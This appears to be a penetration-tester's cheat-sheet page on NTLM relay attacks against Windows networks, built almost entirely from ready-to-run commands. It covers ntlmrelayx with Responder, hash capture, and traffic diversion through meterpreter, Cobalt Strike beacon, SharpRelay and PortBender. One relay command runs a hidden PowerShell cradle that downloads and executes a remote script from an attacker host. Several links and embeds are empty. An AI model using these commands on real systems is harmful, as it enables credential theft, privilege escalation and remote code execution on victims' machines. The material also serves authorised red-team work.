# NTLM Relay
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
* [\[PDF\] Coercions and Relays – The First Cred is the Deepest (Gabriel Prudhomme)](https://www.blackhillsinfosec.com/wp-content/uploads/2022/09/Coercions-and-Relays-The-First-Cred-is-the-Deepest.pdf)
{% embed url="" %}
{% file src="" %}
Generate relay list with CME and enumerate local admins when relaying:
```
$ cme smb 192.168.2.0/24 --gen-relay-list relay.txt
$ ntlmrelayx.py -tf relay.txt -smb2support --enum-local-admins -of net-ntlmv2 --no-http-server --no-wcf-server --no-raw-server
```
Relay & catch hashes (via [multi-relay](https://www.thehacker.recipes/ad/movement/ntlm/relay#tips-and-tricks)):
```
$ smbserver.py -smb2support -port 8445 share `pwd`
$ ntlmrelayx.py -tf targets.txt -smb2support --no-http-server --no-wcf-server --no-raw-server
$ cat targets.txt
smb://10.10.13.37
smb://127.0.0.1:8445
```
{% hint style="info" %}
The easier way though is to use the combination of `-of/--output-file hashes.txt -ntlmchallenge 1122334455667788` options to save the hash with a predefined challenge to a file while relaying.
{% endhint %}
Relay NTLM2 responses obtained from Responder's proxy authentication to LDAP(S) (Responder's HTTP must be `Off`):
{% embed url="" %}
```
$ ntlmrelayx.py -t ldap(s)://DC01.megacorp.local --http-port 3128 [--add-computer] / [--delegate-access [--escalate-user 'PWNED-MACHINE$']] [-socks] --no-smb-server --no-wcf-server --no-raw-server --no-dump [--no-da --no-acl --no-validate-privs]
$ sudo ./Responder.py -I eth0 -wd -P -v
```
## Relaying on Windows
### meterpreter + SharpRelay
*
*
Divert incoming SMB traffic from Victim to Attacker's local 445 port through an elevated meterpreter session and relay it to Target via MSF SOCKS server.
1\. Add a static route to the Target through the 1st meterpreter session:
```
meterpreter > route add 192.168.1.11/32 1
```
2\. Start MSF SOCKS server:
```
msf > use auxiliary/server/socks_proxy
msf auxiliary(server/socks_proxy) > set SRVHOST 127.0.0.1
msf auxiliary(server/socks_proxy) > run -j
```
3\. Forward a reverse port 8445 on Victim to local port 445 on Attacker and start diverting incoming SMB traffic on Victim to Victim's local 8445 port:
```
meterpreter > portfwd add -R -L 127.0.0.1 -l 445 -p 8445
meterpreter > cd C:\\Windows\\System32\\drivers
meterpreter > upload /home/snovvcrash/www/WinDivert64.sys
msf post(windows/manage/execute_dotnet_assembly) > set SESSION 1
msf post(windows/manage/execute_dotnet_assembly) > set DOTNET_EXE /home/snovvcrash/www/SharpRelay.exe
msf post(windows/manage/execute_dotnet_assembly) > set ARGUMENTS relaysvc "C:\Windows\System32\drivers\WinDivert64.sys" 445 8445
msf post(windows/manage/execute_dotnet_assembly) > run
```
4\. Relay the diverted traffic to Target through SOCKS:
```
$ sudo proxychains4 -q ntlmrelayx.py -t smb://192.168.1.11 -smb2support
```
{% hint style="warning" %}
When ran once, the driver must be unloaded or the host rebooted before trying again. The fake service can be deleted with a PowerShell command:
```
PS > (sc.exe stop relaysvc) -and (sc.exe delete relaysvc)
```
{% endhint %}
### beacon + PortBender
*
*
Set SOCKS server & port forwarding, upload WinDivert driver and configure redirection with PortBender:
```
beacon> socks 1080
beacon> rportfwd 8445 127.0.0.1 445
beacon> cd C:\Windows\System32\drivers
beacon> upload /home/snovvcrash/www/WinDivert64.sys
beacon> PortBender redirect 445 8445
```
Relay the planet:
```
$ sudo proxychains4 -q ntlmrelayx.py -t smb://192.168.1.11 -smb2support --no-http-server --no-wcf-server -c 'powershell -nop -w hidden -c "iex(new-object net.webclient).downloadstring(\"http://10.10.13.37:8080/pwn.ps1\")"'
```
Stop PortBender:
```
beacon> jobs
beacon> jobkill
beacon> kill
```
### gost (GO Simple Tunnel)
*
```
Cmd > gost.exe -L auto://0.0.0.0:31337
$ gost -L rtcp://0.0.0.0:445/10.10.13.37:445 -F socks5://127.0.0.1:10080 [-F socks5://127.0.0.1:20080 ...] -F socks5://192.168.1.11:31337
```
## CVE-2019-1040
*
```
$ python scan.py MEGACORP/snovvcrash:'Passw0rd!'@192.168.1.11
$ python scan.py -target-file DCs.txt MEGACORP/snovvcrash:'Passw0rd!'@placeholder.xyz
```
## CVE-2025-33073
* [\[PDF\] Reflective Kerberos Relay Attack (RedTeam Pentesting)](https://www.redteam-pentesting.de/publications/2025-06-11-Reflective-Kerberos-Relay-Attack_RedTeam-Pentesting.pdf)
*
*
*
### CVE-2025–54918
*
*
*